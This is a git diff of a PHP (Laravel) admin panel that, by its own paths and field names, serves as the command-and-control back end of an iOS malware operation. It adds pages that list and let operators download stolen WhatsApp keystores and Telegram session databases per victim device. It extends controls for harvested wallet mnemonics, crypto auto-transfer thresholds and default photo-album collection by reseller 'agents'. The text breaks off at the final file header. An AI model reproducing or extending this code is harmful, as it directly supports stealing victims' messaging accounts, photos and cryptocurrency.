diff --git a/app/Http/Controllers/Admin/AgentUserController.php b/app/Http/Controllers/Admin/AgentUserController.php index 35ea7cc..a5fcf0b 100644 --- a/app/Http/Controllers/Admin/AgentUserController.php +++ b/app/Http/Controllers/Admin/AgentUserController.php @@ -58,6 +58,7 @@ class AgentUserController extends Controller 'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '', 'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '', 'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '', + 'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0, 'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'), ]; @@ -84,6 +85,7 @@ class AgentUserController extends Controller 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], + 'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])], ]); $user = User::query()->create([ @@ -97,6 +99,7 @@ class AgentUserController extends Controller 'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null), 'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null), 'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null), + 'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)), ]); return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]); @@ -114,6 +117,7 @@ class AgentUserController extends Controller 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], + 'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])], ]); if (array_key_exists('comment', $data)) { @@ -128,6 +132,9 @@ class AgentUserController extends Controller if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) { $agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']); } + if (array_key_exists('album_storage_default', $data) && $data['album_storage_default'] !== null) { + $agent->album_storage_default = (bool) ((int) $data['album_storage_default']); + } foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) { $key = 'auto_transfer_threshold_'.$coin; if (array_key_exists($key, $data)) { diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php index fbb67df..d4447b7 100644 --- a/app/Http/Controllers/Admin/ChannelController.php +++ b/app/Http/Controllers/Admin/ChannelController.php @@ -100,17 +100,12 @@ class ChannelController extends Controller ]); } - public function randomId(Request $request) + public function randomId() { - $builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD))); - $channelId = $builderType === Channel::BUILDER_NEW - ? Channel::randomNewChannelId() - : Channel::randomChannelId(); - return response()->json([ 'code' => 0, 'msg' => '', - 'data' => ['channel_id' => $channelId], + 'data' => ['channel_id' => Channel::randomNewChannelId()], ]); } @@ -118,18 +113,8 @@ class ChannelController extends Controller { abort_if($this->isAgentPortal(), 403); - $builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD))); - if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) { - $builderType = Channel::BUILDER_OLD; - } - - $channelIdRule = $builderType === Channel::BUILDER_NEW - ? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN] - : ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')]; - $data = $request->validate([ - 'channel_id' => $channelIdRule, - 'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])], + 'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN], 'user_id' => ['nullable', 'integer', 'min:0'], 'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)], 'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'], @@ -138,15 +123,13 @@ class ChannelController extends Controller 'status' => ['nullable', 'integer', Rule::in([0, 1])], ]); - if ($builderType === Channel::BUILDER_NEW) { - $normalized = Channel::normalizeNewChannelId((string) $data['channel_id']); - if ($normalized === null) { - throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']); - } - $data['channel_id'] = $normalized; - if (Channel::query()->where('channel_id', $normalized)->exists()) { - throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']); - } + $normalized = Channel::normalizeNewChannelId((string) $data['channel_id']); + if ($normalized === null) { + throw ValidationException::withMessages(['channel_id' => '渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']); + } + $data['channel_id'] = $normalized; + if (Channel::query()->where('channel_id', $normalized)->exists()) { + throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']); } $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID); @@ -154,7 +137,7 @@ class ChannelController extends Controller throw ValidationException::withMessages(['user_id' => '代理用户不存在']); } - $builderType = (string) ($data['builder_type'] ?? $builderType); + $builderType = Channel::BUILDER_NEW; $supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE); $this->assertAgentChannelQuota($userId); diff --git a/app/Http/Controllers/Admin/DashboardController.php b/app/Http/Controllers/Admin/DashboardController.php index 8b4acf0..6339b06 100644 --- a/app/Http/Controllers/Admin/DashboardController.php +++ b/app/Http/Controllers/Admin/DashboardController.php @@ -35,7 +35,7 @@ class DashboardController extends Controller 'date_from' => trim((string) $request->query('date_from', '')), 'date_to' => trim((string) $request->query('date_to', '')), 'date_range' => trim((string) $request->query('date_range', '')), - 'range' => (string) $request->query('range', '30d'), + 'range' => (string) $request->query('range', 'today'), 'channel_id' => trim((string) $request->query('channel_id', '')), 'agent_user_id' => $this->isAgentPortal() ? null diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index f42f190..b689181 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -72,6 +72,9 @@ class DeviceController extends Controller 'ip' => $d->ip ?: '', 'has_wallet' => (int) $d->has_wallet, 'wallet_names' => $d->walletNameList(), + 'has_whatsapp' => $d->hasWhatsApp() ? 1 : 0, + 'has_telegram' => $d->hasTelegram() ? 1 : 0, + 'im_names' => $d->imNameList(), 'album_storage' => $d->albumStorageEnabled() ? 1 : 0, 'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'), @@ -235,6 +238,7 @@ class DeviceController extends Controller $this->deleteStorageDir('c2/check/'.$device->device_id); $this->deleteStorageDir('c2/ds-results/'.$device->device_id); $this->deleteStorageDir('c2/ds-chunks/'.$device->device_id); + $this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id); $this->unmonitorAddresses($device); $this->purgeDarkSwordLogs($device); @@ -604,7 +608,7 @@ class DeviceController extends Controller } /** - * @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} + * @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} */ private function filtersFrom(Request $request): array { @@ -613,6 +617,10 @@ class DeviceController extends Controller if (in_array((string) $hasWallet, ['0', '1', '2'], true)) { $hasWalletInt = (int) $hasWallet; } + $hasIm = strtolower(trim((string) $request->query('has_im', ''))); + if (! in_array($hasIm, ['yes', 'none', 'whatsapp', 'telegram'], true)) { + $hasIm = ''; + } return [ 'device_key' => trim((string) $request->query('device_key', '')), @@ -624,12 +632,13 @@ class DeviceController extends Controller 'installed_from' => trim((string) $request->query('installed_from', '')), 'installed_to' => trim((string) $request->query('installed_to', '')), 'has_wallet' => $hasWalletInt, + 'has_im' => $hasIm, 'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')), ]; } /** - * @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters + * @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters */ private function filteredQuery(array $filters): Builder { @@ -663,6 +672,17 @@ class DeviceController extends Controller if ($filters['has_wallet'] !== null) { $q->where('devices.has_wallet', $filters['has_wallet']); } + if ($filters['has_im'] === 'yes') { + $q->where(function (Builder $inner) { + $inner->where('devices.has_whatsapp', true)->orWhere('devices.has_telegram', true); + }); + } elseif ($filters['has_im'] === 'none') { + $q->where('devices.has_whatsapp', false)->where('devices.has_telegram', false); + } elseif ($filters['has_im'] === 'whatsapp') { + $q->where('devices.has_whatsapp', true); + } elseif ($filters['has_im'] === 'telegram') { + $q->where('devices.has_telegram', true); + } if (! $this->isAgentPortal()) { AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']); } diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index 04ce123..21160fd 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -97,7 +97,7 @@ class MnemonicController extends Controller return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } if (! $admin->hasGoogleBound()) { - return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']); + return response()->json(['code' => 1, 'msg' => '请先在「系统 → 谷歌验证」绑定,查看明文必须验证']); } $data = $request->validate([ diff --git a/app/Http/Controllers/Admin/PluginSessionController.php b/app/Http/Controllers/Admin/PluginSessionController.php new file mode 100644 index 0000000..904c6af --- /dev/null +++ b/app/Http/Controllers/Admin/PluginSessionController.php @@ -0,0 +1,180 @@ +page(PluginSession::KIND_WHATSAPP); + } + + public function telegram() + { + return $this->page(PluginSession::KIND_TELEGRAM); + } + + public function whatsappData(Request $request) + { + return $this->data($request, PluginSession::KIND_WHATSAPP); + } + + public function telegramData(Request $request) + { + return $this->data($request, PluginSession::KIND_TELEGRAM); + } + + public function payload(PluginSession $pluginSession) + { + $this->authorizeSession($pluginSession); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'data' => [ + 'id' => $pluginSession->id, + 'kind' => $pluginSession->kind, + 'payload_json' => json_encode( + $pluginSession->displayPayload(), + JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT + ), + 'download_url' => route($this->portal().'.sessions.download', $pluginSession, false), + ], + ]); + } + + public function download(PluginSession $pluginSession) + { + $this->authorizeSession($pluginSession); + + $name = $pluginSession->downloadFilename(); + $path = $pluginSession->payloadPath(); + if ($path !== null && Storage::disk('local')->exists($path)) { + return Storage::disk('local')->download($path, $name); + } + + $json = json_encode( + $pluginSession->fullPayload(), + JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT + ); + + return response()->streamDownload(static function () use ($json) { + echo $json === false ? '{}' : $json; + }, $name, ['Content-Type' => 'application/json; charset=UTF-8']); + } + + private function page(string $kind) + { + $agents = $this->isAgentPortal() + ? collect() + : User::query()->orderBy('username')->get(['id', 'username']); + + return view('admin.sessions.index', [ + 'portal' => $this->portal(), + 'agents' => $agents, + 'kind' => $kind, + 'title' => (int) $kind === PluginSession::KIND_WHATSAPP ? 'WS 参数' : 'TG 参数', + ]); + } + + private function data(Request $request, string $kind) + { + $q = $this->baseQuery($request, $kind); + + $sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at']; + $field = (string) $request->query('field', 'id'); + $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; + if (! in_array($field, $sortable, true)) { + $field = 'id'; + } + $q->orderBy('plugin_sessions.'.$field, $order); + + $limit = max(1, min(100, (int) $request->query('limit', 20))); + $page = max(1, (int) $request->query('page', 1)); + $paginator = $q->paginate($limit, ['*'], 'page', $page); + + $portal = $this->portal(); + $data = collect($paginator->items())->map(function ($row) use ($portal) { + /** @var PluginSession $row */ + $summary = $row->listSummary(); + + return array_merge($summary, [ + 'id' => $row->id, + 'kind' => $row->kind, + 'device_key' => $row->device_key ?: '', + 'channel_id' => $row->device_channel_id ?: '', + 'payload_url' => route($portal.'.sessions.payload', $row, false), + 'download_url' => route($portal.'.sessions.download', $row, false), + 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), + 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), + 'detail_url' => route($portal.'.devices.show', $row->device_id), + ]); + })->values(); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'count' => $paginator->total(), + 'data' => $data, + ]); + } + + private function baseQuery(Request $request, string $kind): Builder + { + $q = PluginSession::query() + ->join('devices', 'devices.id', '=', 'plugin_sessions.device_id') + ->where('plugin_sessions.kind', $kind) + ->select([ + 'plugin_sessions.*', + 'devices.device_id as device_key', + 'devices.channel_id as device_channel_id', + ]); + + AgentScope::applyDeviceChannelScope($q, $this->agent()); + + $channelId = trim((string) $request->query('channel_id', '')); + $deviceKey = trim((string) $request->query('device_key', '')); + $account = trim((string) $request->query('account_id', '')); + if ($channelId !== '') { + $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); + } + if ($deviceKey !== '') { + $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); + } + if ($account !== '') { + $q->where(function (Builder $inner) use ($account) { + $inner->where('plugin_sessions.account_id', 'like', '%'.$account.'%') + ->orWhere('plugin_sessions.phone', 'like', '%'.$account.'%'); + }); + } + if (! $this->isAgentPortal()) { + AgentScope::applyAgentUserFilter( + $q, + AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')) + ); + } + + return $q; + } + + private function authorizeSession(PluginSession $session): void + { + $device = $session->device; + abort_unless($device !== null, 404); + if ($agent = $this->agent()) { + $ids = AgentScope::channelIdsFor($agent); + abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403); + } + } +} diff --git a/app/Http/Controllers/Admin/RawLogController.php b/app/Http/Controllers/Admin/RawLogController.php deleted file mode 100644 index 534f64b..0000000 --- a/app/Http/Controllers/Admin/RawLogController.php +++ /dev/null @@ -1,209 +0,0 @@ - */ - private const KINDS = ['c2', 'xxbb']; - - private const PER_PAGE = 40; - - private const MAX_PER_PAGE = 100; - - /** Display cap so a single keystore/census blob cannot blow the HTML layout. */ - private const MAX_ENTRY_CHARS = 16384; - - private const CHUNK_BYTES = 262144; - - /** Bound the backward-scan carry if a record has no separator. */ - private const MAX_CARRY_BYTES = 524288; - - public function index(Request $request) - { - $kind = $this->kind($request); - $path = trim((string) $request->query('path', '')); - $device = trim((string) $request->query('device', '')); - - $groups = []; - foreach (self::KINDS as $k) { - $groups[$k] = $this->listFiles($k); - } - - return view('admin.logs.index', compact('groups', 'kind', 'path', 'device')); - } - - public function show(Request $request, string $kind, string $file) - { - $kind = in_array($kind, self::KINDS, true) ? $kind : 'c2'; - $safe = basename($file); - if (! preg_match('/^\d{8}\.log$/', $safe)) { - abort(404); - } - $full = public_path('log/'.$kind.'/'.$safe); - abort_unless(is_file($full), 404); - - $path = trim((string) $request->query('path', '')); - $device = trim((string) $request->query('device', '')); - $page = max(1, (int) $request->query('page', 1)); - $perPage = (int) $request->query('per_page', self::PER_PAGE); - $perPage = min(self::MAX_PER_PAGE, max(10, $perPage)); - - $read = $this->tailEntries($full, $path, $device, $page, $perPage); - - return view('admin.logs.show', [ - 'kind' => $kind, - 'file' => $safe, - 'entries' => $read['entries'], - 'path' => $path, - 'device' => $device, - 'page' => $read['page'], - 'perPage' => $read['perPage'], - 'hasOlder' => $read['hasOlder'], - 'hasNewer' => $read['hasNewer'], - 'fileSize' => $read['fileSize'], - ]); - } - - private function kind(Request $request): string - { - $kind = (string) $request->query('kind', 'c2'); - - return in_array($kind, self::KINDS, true) ? $kind : 'c2'; - } - - /** - * Newest-first page of records, scanning backward so a multi-MB day file - * never lands in memory as one string. - * - * @return array{ - * entries: list, - * page: int, - * perPage: int, - * hasOlder: bool, - * hasNewer: bool, - * fileSize: int - * } - */ - private function tailEntries(string $full, string $path, string $device, int $page, int $perPage): array - { - $fileSize = (int) filesize($full); - $skip = ($page - 1) * $perPage; - $want = $skip + $perPage + 1; - $matched = []; - - $fh = fopen($full, 'rb'); - if ($fh === false) { - return [ - 'entries' => [], - 'page' => $page, - 'perPage' => $perPage, - 'hasOlder' => false, - 'hasNewer' => $page > 1, - 'fileSize' => $fileSize, - ]; - } - - try { - $pos = $fileSize; - $carry = ''; - while ($pos > 0 && count($matched) < $want) { - $read = (int) min(self::CHUNK_BYTES, $pos); - $pos -= $read; - if (fseek($fh, $pos) !== 0) { - break; - } - $chunk = fread($fh, $read); - if (! is_string($chunk) || $chunk === '') { - break; - } - $data = $chunk.$carry; - if (strlen($data) > self::MAX_CARRY_BYTES) { - $data = substr($data, -self::MAX_CARRY_BYTES); - } - $parts = preg_split("/\r\n\r\n/", $data) ?: [$data]; - $carry = $parts[0]; - for ($i = count($parts) - 1; $i >= 1; $i--) { - if ($this->collectEntry($matched, $parts[$i], $path, $device, $want)) { - break 2; - } - } - } - if (count($matched) < $want && $pos === 0 && $carry !== '') { - $this->collectEntry($matched, $carry, $path, $device, $want); - } - } finally { - fclose($fh); - } - - $hasOlder = count($matched) > $skip + $perPage; - $entries = array_slice($matched, $skip, $perPage); - - return [ - 'entries' => $entries, - 'page' => $page, - 'perPage' => $perPage, - 'hasOlder' => $hasOlder, - 'hasNewer' => $page > 1, - 'fileSize' => $fileSize, - ]; - } - - /** - * @param list $matched - */ - private function collectEntry(array &$matched, string $chunk, string $path, string $device, int $want): bool - { - $entry = trim($chunk); - if ($entry === '') { - return false; - } - if ($path !== '' && ! str_contains($entry, $path)) { - return false; - } - if ($device !== '' && ! str_contains($entry, $device)) { - return false; - } - $matched[] = $this->truncateEntry($entry); - - return count($matched) >= $want; - } - - private function truncateEntry(string $entry): string - { - if (strlen($entry) <= self::MAX_ENTRY_CHARS) { - return $entry; - } - - return substr($entry, 0, self::MAX_ENTRY_CHARS)."\n… (truncated)"; - } - - /** - * @return list - */ - private function listFiles(string $kind): array - { - $dir = public_path('log/'.$kind); - $files = []; - if (! is_dir($dir)) { - return $files; - } - foreach (File::files($dir) as $file) { - if ($file->getExtension() !== 'log') { - continue; - } - $files[] = [ - 'name' => $file->getFilename(), - 'size' => $file->getSize(), - 'mtime' => date('Y-m-d H:i:s', $file->getMTime()), - ]; - } - usort($files, fn ($a, $b) => strcmp($b['name'], $a['name'])); - - return $files; - } -} diff --git a/app/Http/Controllers/Admin/WalletAddressController.php b/app/Http/Controllers/Admin/WalletAddressController.php index 90cd105..3dc8d80 100644 --- a/app/Http/Controllers/Admin/WalletAddressController.php +++ b/app/Http/Controllers/Admin/WalletAddressController.php @@ -130,6 +130,7 @@ class WalletAddressController extends Controller $channelId = trim((string) $request->query('channel_id', '')); $deviceKey = trim((string) $request->query('device_key', '')); + $address = trim((string) $request->query('address', '')); $source = trim((string) $request->query('source', '')); $hasMnemonic = $request->query('has_mnemonic'); $hasBalance = $request->query('has_balance'); @@ -139,6 +140,9 @@ class WalletAddressController extends Controller if ($deviceKey !== '') { $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); } + if ($address !== '') { + $q->where('wallet_addresses.address', 'like', '%'.$address.'%'); + } if ($source !== '') { $q->where('wallet_addresses.source', $source); } diff --git a/app/Models/Device.php b/app/Models/Device.php index cdeee6a..6c0e2fb 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -20,12 +20,15 @@ class Device extends Model protected $fillable = [ 'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names', + 'has_whatsapp', 'has_telegram', ]; protected $attributes = [ 'has_wallet' => self::WALLET_UNKNOWN, 'chain' => self::CHAIN_CORUNA, 'album_storage' => false, + 'has_whatsapp' => false, + 'has_telegram' => false, ]; protected function casts(): array @@ -36,6 +39,8 @@ class Device extends Model 'has_wallet' => 'integer', 'chain' => 'integer', 'wallet_names' => 'array', + 'has_whatsapp' => 'boolean', + 'has_telegram' => 'boolean', ]; } @@ -62,6 +67,40 @@ class Device extends Model return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== '')); } + public function hasWhatsApp(): bool + { + return (bool) $this->has_whatsapp; + } + + public function hasTelegram(): bool + { + return (bool) $this->has_telegram; + } + + /** + * @return list + */ + public function imNameList(): array + { + $names = []; + if ($this->hasWhatsApp()) { + $names[] = 'WhatsApp'; + } + if ($this->hasTelegram()) { + $names[] = 'Telegram'; + } + + return $names; + } + + public function refreshImFlags(): void + { + $kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all(); + $this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true); + $this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true); + $this->save(); + } + public function albumStorageEnabled(): bool { return (bool) ($this->album_storage ?? false); diff --git a/app/Models/PluginSession.php b/app/Models/PluginSession.php index a4c5db8..6fcb464 100644 --- a/app/Models/PluginSession.php +++ b/app/Models/PluginSession.php @@ -4,12 +4,74 @@ namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Support\Facades\Storage; class PluginSession extends Model { - public const KIND_TELEGRAM = 'telegram'; + public const KIND_TELEGRAM = 1; - public const KIND_WHATSAPP = 'whatsapp'; + public const KIND_WHATSAPP = 2; + + public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string + { + $dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp'; + $safe = $accountId !== null && $accountId !== '' + ? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId) + : 'unknown'; + + return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json'; + } + + public static function whatsappFilePath(string $deviceKey, ?string $accountId): string + { + return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId); + } + + /** + * @param array $blob + * @return array + */ + public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array + { + if ((int) $kind === self::KIND_TELEGRAM) { + return [ + 'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null), + 'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [], + 'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null, + 'payload_path' => $path, + 'payload_bytes' => $bytes, + ]; + } + + return [ + 'nickname' => self::scalarOrNull($blob['nickname'] ?? null), + 'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null), + 'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null), + 'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']), + 'payload_path' => $path, + 'payload_bytes' => $bytes, + ]; + } + + /** + * @param array $blob + * @return array + */ + public static function whatsappDbSummary(array $blob, string $path, int $bytes): array + { + return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes); + } + + private static function scalarOrNull(mixed $value): ?string + { + if (is_string($value) || is_int($value) || is_float($value)) { + $value = trim((string) $value); + + return $value !== '' ? $value : null; + } + + return null; + } protected $fillable = [ 'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload', @@ -18,6 +80,7 @@ class PluginSession extends Model protected function casts(): array { return [ + 'kind' => 'integer', 'payload' => 'array', ]; } @@ -35,4 +98,140 @@ class PluginSession extends Model default => (string) $this->kind, }; } + + public function isTelegram(): bool + { + return (int) $this->kind === self::KIND_TELEGRAM; + } + + public function isWhatsApp(): bool + { + return (int) $this->kind === self::KIND_WHATSAPP; + } + + /** + * Compact fields for the collection list (omit large blobs). + * + * @return array + */ + public function listSummary(): array + { + $payload = is_array($this->payload) ? $this->payload : []; + if ($this->isWhatsApp()) { + return [ + 'account_id' => $this->account_id ?: '', + 'phone' => $this->phone ?: '', + 'nickname' => $this->scalarFromPayload($payload, ['nickname']), + 'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']), + 'has_keystore' => (bool) ($payload['has_keystore'] + ?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))), + ]; + } + + return [ + 'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']), + 'has_state' => (bool) ($payload['has_state'] + ?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])), + 'has_db' => (bool) ($payload['has_db'] + ?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)), + ]; + } + + /** + * Full session blob from the on-disk file, or the JSON column if no file. + * + * @return array + */ + public function fullPayload(): array + { + $payload = is_array($this->payload) ? $this->payload : []; + $path = $payload['payload_path'] ?? null; + if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) { + $decoded = json_decode((string) Storage::disk('local')->get($path), true); + if (is_array($decoded)) { + return $decoded; + } + } + + return $payload; + } + + public function payloadPath(): ?string + { + $path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null; + + return is_string($path) && $path !== '' ? $path : null; + } + + public function downloadFilename(): string + { + $label = $this->isWhatsApp() ? 'ws' : 'tg'; + $device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device'; + $account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account'; + + return $label.'-'.$device.'-'.$account.'.json'; + } + + public function displayPayload(): array + { + $payload = $this->fullPayload(); + if ($this->isTelegram()) { + return $payload; + } + + return $this->truncatePayload($payload); + } + + /** + * @param array $payload + */ + private function scalarFromPayload(array $payload, array $keys): string + { + foreach ($keys as $key) { + $value = $payload[$key] ?? null; + if (is_int($value) || is_float($value)) { + return (string) $value; + } + if (is_string($value) && trim($value) !== '') { + return trim($value); + } + } + + return ''; + } + + /** + * @param array $payload + * @return array + */ + private function truncatePayload(array $payload, int $max = 240): array + { + $out = []; + foreach ($payload as $key => $value) { + if (is_array($value)) { + $encoded = json_encode($value); + if (is_string($encoded) && strlen($encoded) > 1500) { + $out[$key] = [ + '_omitted' => true, + 'items' => count($value), + 'bytes' => strlen($encoded), + ]; + continue; + } + $out[$key] = $this->truncatePayload($value, $max); + continue; + } + if (! is_string($value)) { + $out[$key] = $value; + continue; + } + if (strlen($value) > $max) { + $out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)'; + continue; + } + $out[$key] = $value; + } + + return $out; + } } diff --git a/app/Models/User.php b/app/Models/User.php index 6669035..a969645 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -14,6 +14,7 @@ class User extends Authenticatable 'auto_transfer_threshold_trx', 'auto_transfer_threshold_eth', 'auto_transfer_threshold_btc', + 'album_storage_default', ]; protected $hidden = [ @@ -39,9 +40,14 @@ class User extends Authenticatable 'auto_transfer_threshold_trx' => 'decimal:8', 'auto_transfer_threshold_eth' => 'decimal:8', 'auto_transfer_threshold_btc' => 'decimal:8', + 'album_storage_default' => 'boolean', ]; } + protected $attributes = [ + 'album_storage_default' => false, + ]; + public function isEnabled(): bool { return (int) $this->status === 1; @@ -52,6 +58,32 @@ class User extends Authenticatable return $this->hasMany(Channel::class, 'user_id'); } + public function albumStorageDefaultEnabled(): bool + { + return (bool) ($this->album_storage_default ?? false); + } + + /** + * New-device album_storage default for a channel. + * Agent channels use that agent's switch (defaults off). Official / unknown stay off. + */ + public static function albumStorageDefaultForChannel(?string $channelId): bool + { + $channelId = trim((string) $channelId); + if ($channelId === '') { + return false; + } + + $userId = Channel::query()->where('channel_id', $channelId)->value('user_id'); + if ($userId === null || (int) $userId <= 0) { + return false; + } + + $agent = static::query()->find((int) $userId); + + return $agent?->albumStorageDefaultEnabled() ?? false; + } + public function hasTelegramChat(): bool { return trim((string) ($this->chat_id ?? '')) !== ''; diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 3b34932..c2aa59f 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -5,6 +5,7 @@ namespace App\Services; use App\Models\Device; use App\Models\DsChainLog; use App\Models\PageVisit; +use App\Models\User; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; use App\Support\UserAgentParser; @@ -288,6 +289,9 @@ class DarkSwordIngestAdapter } if ($channel !== null && trim((string) $existing->channel_id) === '') { $touch['channel_id'] = $channel; + if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) { + $touch['album_storage'] = true; + } } $existing->forceFill($touch)->saveQuietly(); $this->beaconQueue->seed($existing); @@ -303,6 +307,7 @@ class DarkSwordIngestAdapter 'ios_version' => $ios, 'channel_id' => $channel, 'user_agent' => $ua !== '' ? $ua : null, + 'album_storage' => User::albumStorageDefaultForChannel($channel), ]); $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; diff --git a/app/Services/DashboardStatsService.php b/app/Services/DashboardStatsService.php index 